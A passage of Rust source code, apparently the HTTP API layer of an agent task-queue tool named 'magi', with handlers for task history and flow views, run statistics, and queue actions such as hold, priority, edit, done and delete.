6352        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6353        let label = match (prev_exit, into) {
6354            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6355            (Some((_, l, _)), None) => l,
6356            (None, Some(i)) => i,
6357            (None, None) => "claimed".to_owned(),
6358        };
6359        edges.push(FlowEdge {
6360            from: prev.clone(),
6361            to: key.clone(),
6362            label,
6363            attempt,
6364        });
6365        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6366        prev = key;
6367        nodes.push(n);
6368    }
6369    let mut end = node("end", "end", task.status.as_str().to_owned());
6370    end.status = Some(task.status.as_str());
6371    end.status_of = "task";
6372    // Other task states do not persist their transition start. In particular,
6373    // blocked_at can change while the task remains blocked.
6374    if task.status == TaskStatus::Held {
6375        end.started_at = task.held_at;
6376    }
6377    nodes.push(end);
6378    let (label, attempt) = match prev_exit {
6379        None => (
6380            format!("no run yet \u{2192} {}", task.status.as_str()),
6381            AttemptCost::None,
6382        ),
6383        Some((e, l, cost)) if e.explains(task.status) => {
6384            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6385        }
6386        Some((_, _, cost)) => (
6387            format!("closed by hand: task is {}", task.status.as_str()),
6388            cost,
6389        ),
6390    };
6391    edges.push(FlowEdge {
6392        from: prev,
6393        to: "end".to_owned(),
6394        label,
6395        attempt,
6396    });
6397    FlowView {
6398        nodes,
6399        edges,
6400        attempts: task.attempts,
6401        max_attempts,
6402        passes: history.len(),
6403        runs: distinct_runs(&task.runs),
6404    }
6405}
6406
6407/// How many different run ids a task's run list names.
6408fn distinct_runs(runs: &[String]) -> usize {
6409    let mut seen: Vec<&str> = Vec::new();
6410    for r in runs {
6411        if !seen.contains(&r.as_str()) {
6412            seen.push(r);
6413        }
6414    }
6415    seen.len()
6416}
6417
6418/// Describe recorded task passes, retaining unrecorded legacy list entries.
6419fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6420    let mut slots = Vec::new();
6421    let mut seen = Vec::new();
6422    for run_id in &task.runs {
6423        if seen.contains(&run_id) {
6424            continue;
6425        }
6426        seen.push(run_id);
6427        let state = read(run_id);
6428        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6429            s.passes
6430                .iter()
6431                .filter(|p| {
6432                    p.task_entry
6433                        || task
6434                            .passes
6435                            .iter()
6436                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6437                })
6438                .cloned()
6439                .collect()
6440        });
6441        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6442        let total = legacy_count.max(mine.len());
6443        let offset = total - mine.len();
6444        for k in 0..total {
6445            // Legacy repeated entries retain their original positions. When
6446            // ids are unique, recorded pass times recover the resume order.
6447            let position = task
6448                .runs
6449                .iter()
6450                .enumerate()
6451                .filter(|(_, r)| *r == run_id)
6452                .nth(k.min(legacy_count - 1))
6453                .unwrap()
6454                .0;
6455            slots.push((
6456                run_id,
6457                state.clone(),
6458                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6459                position,
6460            ));
6461        }
6462    }
6463    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6464        slots.sort_by_key(|(_, state, pass, _)| {
6465            pass.as_ref()
6466                .map(|p| p.started_at)
6467                .or_else(|| state.as_ref().map(|s| s.created_at))
6468                .map_or((true, task.created_at), |at| (false, at))
6469        });
6470    } else {
6471        slots.sort_by_key(|(_, _, _, position)| *position);
6472    }
6473    let mut history = Vec::with_capacity(slots.len());
6474    let mut seen: Vec<&str> = Vec::new();
6475    let mut prior: Option<(&str, RunStatus)> = None;
6476    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6477        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6478        let resumed = k > 0;
6479        seen.push(run_id);
6480        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6481        let pass = pass.as_ref();
6482        let settled = pass.and_then(|p| {
6483            task.passes
6484                .iter()
6485                .find(|t| t.run == **run_id && t.pass_index == p.index)
6486        });
6487        history.push(task_run_view(
6488            run_id,
6489            state.as_ref(),
6490            RunSlot {
6491                n: i + 1,
6492                resumed,
6493                resumed_later: slots[i + 1..]
6494                    .iter()
6495                    .position(|(id, _, _, _)| id == run_id)
6496                    .map(|off| i + off + 2),
6497                prior,
6498                last: i + 1 == slots.len(),
6499                pass,
6500                settled,
6501                pass_n: k + 1,
6502                passes_of_run: total,
6503            },
6504            task,
6505        ));
6506        if let Some(s) = &state {
6507            prior = Some((run::short_of(run_id), s.status));
6508        }
6509    }
6510    history
6511}
6512
6513/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6514/// An earlier pass of a resumed run keeps no badge (it has no status box).
6515fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6516    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6517        return;
6518    }
6519    let (_, claimed, _) = run_row_inputs(ui);
6520    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6521    for h in history
6522        .iter_mut()
6523        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6524    {
6525        let Ok(state) = read_run(&ui.runs, &h.id) else {
6526            continue;
6527        };
6528        if state.status.done() {
6529            continue;
6530        }
6531        let live = state.liveness_with(
6532            claimed.contains(&h.id),
6533            |p| probe.borrow_mut().status(p),
6534            |p| probe.borrow_mut().started_at(p),
6535        );
6536        let waiting = !ui.questions.open_for(&h.id).is_empty();
6537        let display = run_display_status(&state, waiting, live);
6538        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6539        if matches!(word.as_str(), "stale" | "superseded")
6540            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6541        {
6542            h.badge = Some(word);
6543        }
6544    }
6545}
6546
6547async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6548    blocking(move || {
6549        let id = resolve_task(&ui.queue, &id)?;
6550        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6551    })
6552    .await
6553}
6554
6555async fn task_detail(
6556    State(ui): State<Arc<Ui>>,
6557    Path(id): Path<String>,
6558) -> ApiResult<Json<TaskDetailView>> {
6559    blocking(move || {
6560        let id = resolve_task(&ui.queue, &id)?;
6561        let task = ui
6562            .queue
6563            .get(&id)
6564            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6565        let inv = if task.status == TaskStatus::Blocked {
6566            Some(crate::blockers::Inventory::load_for(
6567                &ui.queue,
6568                &ui.questions,
6569                &task,
6570            ))
6571        } else {
6572            None
6573        };
6574        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6575        mark_badges(&ui, &task, &mut history);
6576        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6577        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6578        let origin = task.followup.as_ref().map(|fu| {
6579            followup_origin(
6580                fu,
6581                |tid| ui.queue.get(tid).ok(),
6582                |rid| read_run(&ui.runs, rid).ok(),
6583            )
6584        });
6585        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6586        let task_view = match inv.as_ref() {
6587            Some(inv) => TaskView::with_inventory(task, inv),
6588            None => TaskView::from(task),
6589        };
6590        Ok(Json(TaskDetailView {
6591            max_attempts,
6592            flow,
6593            followup_origin: origin,
6594            passes_total: history.len(),
6595            runs_distinct: distinct_runs(&task_view.task.runs),
6596            history,
6597            runs_unreadable,
6598            attempts_note: ATTEMPTS_NOTE,
6599            task: task_view,
6600        }))
6601    })
6602    .await
6603}
6604
6605/// A rate together with its denominator, so the client can tell "computed as
6606/// 0%" apart from "no data to compute it from" — both would otherwise
6607/// serialize as `0.0`. `None` means the denominator was zero.
6608#[derive(Debug, Serialize)]
6609struct RateView {
6610    pct: f64,
6611    denominator: usize,
6612}
6613
6614impl RateView {
6615    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6616        (denominator > 0).then(|| Self {
6617            pct: 100.0 * numerator as f64 / denominator as f64,
6618            denominator,
6619        })
6620    }
6621}
6622
6623/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6624/// rates, each paired with its own denominator via [`RateView`] rather than
6625/// exposing `Stats`' own percentage methods directly — see this module's
6626/// doc for why `Stats` itself is never serialized.
6627#[derive(Debug, Serialize)]
6628struct StatsTotalsView {
6629    runs: usize,
6630    merged: usize,
6631    ready: usize,
6632    blocked: usize,
6633    failed: usize,
6634    stalled: usize,
6635    verified_noop: usize,
6636    superseded: usize,
6637    in_progress: usize,
6638    completion_rate: Option<RateView>,
6639    tallied: usize,
6640    split: usize,
6641    split_rate: Option<RateView>,
6642    deliberated: usize,
6643    minds_changed: usize,
6644    converged: usize,
6645    review_rounds: usize,
6646}
6647
6648impl From<&stats::Totals> for StatsTotalsView {
6649    fn from(t: &stats::Totals) -> Self {
6650        Self {
6651            runs: t.runs,
6652            merged: t.merged,
6653            ready: t.ready,
6654            blocked: t.blocked,
6655            failed: t.failed,
6656            stalled: t.stalled,
6657            verified_noop: t.verified_noop,
6658            superseded: t.superseded,
6659            in_progress: t.in_progress,
6660            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6661            tallied: t.tallied,
6662            split: t.split,
6663            split_rate: RateView::of(t.split, t.tallied),
6664            deliberated: t.deliberated,
6665            minds_changed: t.minds_changed,
6666            converged: t.converged,
6667            review_rounds: t.review_rounds,
6668        }
6669    }
6670}
6671
6672/// [`crate::stats::AgentStats`] for the wire.
6673#[derive(Debug, Serialize)]
6674struct AgentStatsView {
6675    agent: String,
6676    entered: usize,
6677    wins: usize,
6678    empty: usize,
6679    win_rate: Option<RateView>,
6680    competitive_entered: usize,
6681    competitive_wins: usize,
6682    competitive_win_rate: Option<RateView>,
6683    solo_entered: usize,
6684    solo_adopted: usize,
6685    solo_adoption_rate: Option<RateView>,
6686}
6687
6688impl From<&stats::AgentStats> for AgentStatsView {
6689    fn from(a: &stats::AgentStats) -> Self {
6690        Self {
6691            agent: a.agent.clone(),
6692            entered: a.entered,
6693            wins: a.wins,
6694            empty: a.empty,
6695            win_rate: RateView::of(a.wins, a.entered),
6696            competitive_entered: a.competitive_entered,
6697            competitive_wins: a.competitive_wins,
6698            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6699            solo_entered: a.solo_entered,
6700            solo_adopted: a.solo_adopted,
6701            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6702        }
6703    }
6704}
6705
6706/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6707/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6708/// value, `None` when `rounds` is zero.
6709#[derive(Debug, Serialize)]
6710struct ReviewerStatsView {
6711    agent: String,
6712    rounds: usize,
6713    seated: usize,
6714    submitted: usize,
6715    adopted: usize,
6716    unique: usize,
6717    timeouts: usize,
6718    adopted_per_round: Option<f64>,
6719    precision: Option<RateView>,
6720    unique_rate: Option<RateView>,
6721    timeout_rate: Option<RateView>,
6722}
6723
6724impl From<&stats::ReviewerStats> for ReviewerStatsView {
6725    fn from(r: &stats::ReviewerStats) -> Self {
6726        Self {
6727            agent: r.agent.clone(),
6728            rounds: r.rounds,
6729            seated: r.seated,
6730            submitted: r.submitted,
6731            adopted: r.adopted,
6732            unique: r.unique,
6733            timeouts: r.timeouts,
6734            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6735            precision: RateView::of(r.adopted, r.submitted),
6736            unique_rate: RateView::of(r.unique, r.submitted),
6737            timeout_rate: RateView::of(r.timeouts, r.seated),
6738        }
6739    }
6740}
6741
6742/// [`crate::stats::AdvisorStats`] for the wire.
6743///
6744/// `reflection_rate` is approximate by construction — see
6745/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6746/// that caveat is static text in `index.html`, not a field here.
6747#[derive(Debug, Serialize)]
6748struct AdvisorStatsView {
6749    agent: String,
6750    seated: usize,
6751    proposed: usize,
6752    absent: usize,
6753    faint: usize,
6754    strong: usize,
6755    reflection_rate: Option<RateView>,
6756}
6757
6758impl From<&stats::AdvisorStats> for AdvisorStatsView {
6759    fn from(a: &stats::AdvisorStats) -> Self {
6760        Self {
6761            agent: a.agent.clone(),
6762            seated: a.seated,
6763            proposed: a.proposed,
6764            absent: a.absent,
6765            faint: a.faint,
6766            strong: a.strong,
6767            reflection_rate: RateView::of(a.strong, a.proposed),
6768        }
6769    }
6770}
6771
6772/// [`crate::stats::E2eStats`] for the wire.
6773#[derive(Debug, Serialize)]
6774struct E2eStatsView {
6775    rounds: usize,
6776    failures: usize,
6777    sole_detections: usize,
6778    deferred: usize,
6779    sole_rate: Option<RateView>,
6780}
6781
6782impl From<&stats::E2eStats> for E2eStatsView {
6783    fn from(e: &stats::E2eStats) -> Self {
6784        Self {
6785            rounds: e.rounds,
6786            failures: e.failures,
6787            sole_detections: e.sole_detections,
6788            deferred: e.deferred,
6789            sole_rate: RateView::of(e.sole_detections, e.failures),
6790        }
6791    }
6792}
6793
6794/// [`crate::stats::ReleaseBumpStats`] for the wire.
6795///
6796/// `clean` is sent as a raw count, computed the same way
6797/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6798/// needs_attention`) — never derived client-side from `automerge_enabled`,
6799/// which would misclassify a `merged_directly` bump (automerge rejected, but
6800/// magi merged it directly, so no human involvement) as needing attention.
6801#[derive(Debug, Serialize)]
6802struct ReleaseBumpStatsView {
6803    merged: usize,
6804    recorded: usize,
6805    pr_opened: usize,
6806    automerge_enabled: usize,
6807    merged_directly: usize,
6808    needs_attention: usize,
6809    clean: usize,
6810    coverage_rate: Option<RateView>,
6811    automerge_rate: Option<RateView>,
6812    attention_rate: Option<RateView>,
6813}
6814
6815impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6816    fn from(b: &stats::ReleaseBumpStats) -> Self {
6817        Self {
6818            merged: b.merged,
6819            recorded: b.recorded,
6820            pr_opened: b.pr_opened,
6821            automerge_enabled: b.automerge_enabled,
6822            merged_directly: b.merged_directly,
6823            needs_attention: b.needs_attention,
6824            clean: b.clean(),
6825            coverage_rate: RateView::of(b.recorded, b.merged),
6826            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6827            attention_rate: RateView::of(b.needs_attention, b.recorded),
6828        }
6829    }
6830}
6831
6832/// [`crate::queue::TaskCounts`] for the wire.
6833#[derive(Debug, Serialize)]
6834struct TaskCountsView {
6835    queued: usize,
6836    running: usize,
6837    done: usize,
6838    failed: usize,
6839    held: usize,
6840    blocked: usize,
6841    parked: usize,
6842}
6843
6844impl From<crate::queue::TaskCounts> for TaskCountsView {
6845    fn from(c: crate::queue::TaskCounts) -> Self {
6846        Self {
6847            queued: c.queued,
6848            running: c.running,
6849            done: c.done,
6850            failed: c.failed,
6851            held: c.held,
6852            blocked: c.blocked,
6853            parked: c.parked,
6854        }
6855    }
6856}
6857
6858/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6859/// runs recorded — the summary the UI's repository selector is built from.
6860/// Carries no nested `Stats`: picking a repo means re-fetching
6861/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6862/// aggregation rather than duplicating it.
6863#[derive(Debug, Serialize)]
6864struct RepoSummaryView {
6865    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6866    /// against, full path and all (see [`stats_get`]'s own doc for why).
6867    repo: String,
6868    /// Display name only; never used for matching.
6869    name: String,
6870    runs: usize,
6871    completion_rate: Option<RateView>,
6872}
6873
6874impl From<&stats::RepoStats> for RepoSummaryView {
6875    fn from(r: &stats::RepoStats) -> Self {
6876        let t = &r.stats.totals;
6877        Self {
6878            repo: r.repo.to_string_lossy().into_owned(),
6879            name: r.name.clone(),
6880            runs: t.runs,
6881            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6882        }
6883    }
6884}
6885
6886/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6887/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6888/// renders from them) are free to grow without that becoming a wire-contract
6889/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6890/// data" from "computed and it really is zero" the way [`RateView`] does.
6891#[derive(Debug, Serialize)]
6892struct StatsView {
6893    totals: StatsTotalsView,
6894    /// Best win rate first, as [`stats::collect`] already sorts it.
6895    agents: Vec<AgentStatsView>,
6896    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6897    reviewers: Vec<ReviewerStatsView>,
6898    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6899    advisors: Vec<AdvisorStatsView>,
6900    e2e: E2eStatsView,
6901    release_bumps: ReleaseBumpStatsView,
6902    queue: Option<TaskCountsView>,
6903    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6904    /// that field's doc. Asserted to match it in
6905    /// `stats_runs_unreadable_matches_health`.
6906    ///
6907    /// Always the whole-workload count, even when `repo` narrows every other
6908    /// field to one repository - an unreadable `run.json` carries no `repo`
6909    /// a per-repository count could attribute it to, and the queue/health
6910    /// views this mirrors never scope it either. The UI must not present it
6911    /// as if it were scoped to the selected repository.
6912    runs_unreadable: usize,
6913    /// Every repository with runs recorded, most runs first - what the UI's
6914    /// repository selector is built from. Always the full list regardless of
6915    /// `repo`, so switching repositories never needs a second request.
6916    repos: Vec<RepoSummaryView>,
6917    /// Runs per local day over the last 30 days, oldest first, always 30
6918    /// entries. Days are the *server's* local dates (the UI must not convert
6919    /// them again), cut by run creation and classified by current status.
6920    /// Narrowed by `repo` like every other run-derived field.
6921    daily: Vec<DailyStatsView>,
6922    /// The `?repo=` value this response was narrowed to, echoed back so the
6923    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6924    /// all-repositories view.
6925    repo: Option<String>,
6926    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6927    /// current config roster no longer lists them. Empty with `?all=true`, an
6928    /// unreadable config, or when nothing was retired.
6929    retired_hidden: Vec<String>,
6930}
6931
6932/// One day of [`StatsView::daily`].
6933#[derive(Debug, Serialize)]
6934struct DailyStatsView {
6935    /// `YYYY-MM-DD`, server-local.
6936    date: String,
6937    runs: usize,
6938    merged: usize,
6939    ready: usize,
6940    other: usize,
6941    /// `None` on a day with no runs, so it never reads as 0%.
6942    completion_rate: Option<RateView>,
6943}
6944
6945impl From<&stats::DayBucket> for DailyStatsView {
6946    fn from(b: &stats::DayBucket) -> Self {
6947        Self {
6948            date: b.date.to_string(),
6949            runs: b.runs,
6950            merged: b.merged,
6951            ready: b.ready,
6952            other: b.other,
6953            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6954        }
6955    }
6956}
6957
6958/// How many days [`StatsView::daily`] covers.
6959const STATS_DAILY_DAYS: usize = 30;
6960
6961/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6962/// repository. Matched by full-path equality against `RunState.repo` only
6963/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6964/// `--repo` is, because the value here always came from this same route's
6965/// own `repos` list in an earlier response, never typed by a human. A value
6966/// matching no run is a 404, not an empty aggregate: the caller asked for a
6967/// specific, named repository, and silently returning zeroes would look
6968/// exactly like a repository that has runs but none of interest.
6969#[derive(Debug, Default, Deserialize)]
6970#[serde(default)]
6971struct StatsQuery {
6972    repo: Option<String>,
6973    /// `?all=true` keeps agents that are no longer in the roster.
6974    all: bool,
6975    /// The dashboard fetches queue counts independently of run history.
6976    runs_only: bool,
6977}
6978
6979/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6980/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6981/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6982/// prints from. Reads every readable run on disk, exactly as
6983/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6984/// a separately-maintained tally could.
6985async fn stats_get(
6986    State(ui): State<Arc<Ui>>,
6987    Query(q): Query<StatsQuery>,
6988) -> ApiResult<Json<StatsView>> {
6989    blocking(move || {
6990        let states: Vec<RunState> = run_ids(&ui.runs)
6991            .into_iter()
6992            .filter_map(|id| read_run(&ui.runs, &id).ok())
6993            .collect();
6994        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6995            .iter()
6996            .map(RepoSummaryView::from)
6997            .collect();
6998        let mut scoped: Vec<&RunState> = states.iter().collect();
6999        let mut collected = match &q.repo {
7000            Some(repo) => {
7001                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7002                if filtered.is_empty() {
7003                    return Err(ApiError::not_found(format!(
7004                        "no runs recorded against repo `{repo}`"
7005                    )));
7006                }
7007                scoped = filtered.clone();
7008                stats::collect_refs(filtered)
7009            }
7010            None => stats::collect(&states),
7011        };
7012        if !q.all {
7013            let repo = q
7014                .repo
7015                .as_deref()
7016                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7017            stats::retain_current_roster(&mut collected, &repo);
7018        }
7019        let daily = stats::daily(
7020            scoped,
7021            jiff::Zoned::now().date(),
7022            &jiff::tz::TimeZone::system(),
7023            STATS_DAILY_DAYS,
7024        );
7025        let queue_counts = (!q.runs_only)
7026            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7027        Ok(Json(StatsView {
7028            totals: StatsTotalsView::from(&collected.totals),
7029            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7030            reviewers: collected
7031                .reviewers
7032                .iter()
7033                .map(ReviewerStatsView::from)
7034                .collect(),
7035            advisors: collected
7036                .advisors
7037                .iter()
7038                .map(AdvisorStatsView::from)
7039                .collect(),
7040            e2e: E2eStatsView::from(&collected.e2e),
7041            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7042            queue: queue_counts,
7043            runs_unreadable: runs_unreadable(&ui.runs),
7044            repos,
7045            daily: daily.iter().map(DailyStatsView::from).collect(),
7046            repo: q.repo.clone(),
7047            retired_hidden: collected.retired_hidden.clone(),
7048        }))
7049    })
7050    .await
7051}
7052
7053/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7054/// gives no reason - which must keep working, since not every hold has one.
7055#[derive(Debug, Default, Deserialize)]
7056#[serde(default, deny_unknown_fields)]
7057struct HoldBody {
7058    reason: Option<String>,
7059}
7060
7061async fn queue_hold(
7062    State(ui): State<Arc<Ui>>,
7063    Path(id): Path<String>,
7064    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7065) -> ApiResult<Json<TaskView>> {
7066    // An absent body is the ordinary case - most holds are unexplained, and
7067    // that has to stay a one-tap action rather than a form. A body that is
7068    // present and malformed is still a bad request.
7069    let body = match body {
7070        Ok(Json(body)) => body,
7071        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7072        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7073    };
7074    let reason = body.reason.filter(|r| !r.trim().is_empty());
7075    mutate(ui, id, move |t| {
7076        t.hold_manual(reason.clone());
7077        Ok(())
7078    })
7079    .await
7080}
7081
7082async fn queue_release(
7083    State(ui): State<Arc<Ui>>,
7084    Path(id): Path<String>,
7085) -> ApiResult<Json<TaskView>> {
7086    mutate(ui, id, |t| {
7087        t.release_operator("web", None);
7088        Ok(())
7089    })
7090    .await
7091}
7092
7093#[derive(Debug, Deserialize)]
7094#[serde(deny_unknown_fields)]
7095struct AttemptLimitBody {
7096    // Required even when clearing: missing fields must not silently erase an override.
7097    attempt_limit: serde_json::Value,
7098}
7099
7100async fn queue_attempt_limit(
7101    State(ui): State<Arc<Ui>>,
7102    Path(id): Path<String>,
7103    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7104) -> ApiResult<Json<TaskView>> {
7105    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7106    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7107        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7108    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7109}
7110
7111#[derive(Debug, Deserialize)]
7112#[serde(deny_unknown_fields)]
7113struct ImplementersBody {
7114    implementers: u8,
7115}
7116
7117async fn queue_implementers(
7118    State(ui): State<Arc<Ui>>,
7119    Path(id): Path<String>,
7120    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7121) -> ApiResult<Json<TaskView>> {
7122    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7123    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7124}
7125
7126#[derive(Debug, Deserialize)]
7127#[serde(deny_unknown_fields)]
7128struct UrgentBody {
7129    urgent: bool,
7130}
7131
7132async fn queue_urgent(
7133    State(ui): State<Arc<Ui>>,
7134    Path(id): Path<String>,
7135    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7136) -> ApiResult<Json<TaskView>> {
7137    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7138    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7139}
7140
7141/// The body of `POST /api/queue/{id}/priority`.
7142#[derive(Debug, Deserialize)]
7143#[serde(deny_unknown_fields)]
7144struct PriorityBody {
7145    priority: i32,
7146}
7147
7148/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7149///
7150/// [`Task::set_priority`] is the one place the "not while running" rule is
7151/// stated; this route only carries the body to it and lets its `Err` become
7152/// the 4xx the card shows.
7153async fn queue_priority(
7154    State(ui): State<Arc<Ui>>,
7155    Path(id): Path<String>,
7156    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7157) -> ApiResult<Json<TaskView>> {
7158    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7159    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7160}
7161
7162/// The body of `POST /api/queue/{id}/edit`.
7163#[derive(Debug, Deserialize)]
7164#[serde(deny_unknown_fields)]
7165struct EditBody {
7166    title: String,
7167    instruction: String,
7168    /// Save even though the new text names a branch, commit or pull request
7169    /// that unfinished work already owns.
7170    #[serde(default)]
7171    force: bool,
7172}
7173
7174/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7175/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7176/// that refusal's message is what the sheet shows back.
7177async fn queue_edit(
7178    State(ui): State<Arc<Ui>>,
7179    Path(id): Path<String>,
7180    body: std::result::Result<Json<EditBody>, JsonRejection>,
7181) -> ApiResult<Json<TaskView>> {
7182    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7183    // The judge is an agent call, so it is awaited here, outside the claim
7184    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7185    // remembered, and the save refuses if the task moved underneath it.
7186    let mut judged: Option<(String, PathBuf)> = None;
7187    if !body.force {
7188        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7189        let (id, text) = (id.clone(), body.instruction.clone());
7190        let (seen, hits) = blocking(move || {
7191            let id = resolve_task(&queue, &id)?;
7192            let t = queue.get(&id)?;
7193            if text == t.instruction {
7194                return Ok((None, Vec::new()));
7195            }
7196            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7197            Ok((Some((t.instruction, t.repo)), hits))
7198        })
7199        .await?;
7200        if let Some((_, repo)) = &seen {
7201            let cfg = crate::config::Config::discover(repo, None)
7202                .ok()
7203                .map(|(c, _)| c);
7204            let screened =
7205                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7206                    .await
7207                    .map_err(|dup| {
7208                        ApiError::conflict(dup.render(
7209                            "Nothing was saved. If it is not a duplicate, repeat the request \
7210                             with \"force\": true.",
7211                        ))
7212                    })?;
7213            if let crate::dupes::Screened::Unjudged(why) = screened {
7214                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7215            }
7216        }
7217        judged = seen;
7218    }
7219    let force = body.force;
7220    mutate(ui, id, move |t| {
7221        if !force && body.instruction != t.instruction {
7222            match &judged {
7223                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7224                _ => {
7225                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7226                }
7227            }
7228        }
7229        t.edit(body.title.clone(), body.instruction.clone())
7230    })
7231    .await
7232}
7233
7234/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7235/// it, so the phone's other way to clear a task from the backlog does not
7236/// have to cost the run history, the attribution, and `created_at` the way
7237/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7238/// can be marked done by hand, because this is for the run the loop never
7239/// saw land - a merge done by hand, or a gate that misreported - and that can
7240/// happen from any status the task was left in.
7241async fn queue_done(
7242    State(ui): State<Arc<Ui>>,
7243    Path(id): Path<String>,
7244) -> ApiResult<Json<TaskView>> {
7245    let home = ui.home.clone();
7246    mutate(ui, id, move |t| {
7247        t.succeed();
7248        // Same as the loop's own settle path: closing a task by hand is just
7249        // as much "this task's story is over" as a daemon-driven `Merged`/
7250        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7251        // behind must stop looking like it still needs a human. `ui.home`,
7252        // not the process-global `run::home()`: they agree in a real
7253        // process, but only `ui.home` also agrees with a test fixture's own
7254        // directory.
7255        crate::daemon::supersede_prior_runs(t, &home);
7256        Ok(())
7257    })
7258    .await
7259}
7260
7261/// `DELETE /api/queue/{id}`.
7262///
7263/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7264/// names this task: a `running` status or an orphaned `.lock` left behind by a
7265/// killed daemon is a leftover, and treating either as authority made the
7266/// task undeletable from the phone for good. The associated runs, if any, are
7267/// kept: a run is self-contained history and not an appendage of the task.
7268async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7269    blocking(move || {
7270        let id = resolve_task(&ui.queue, &id)?;
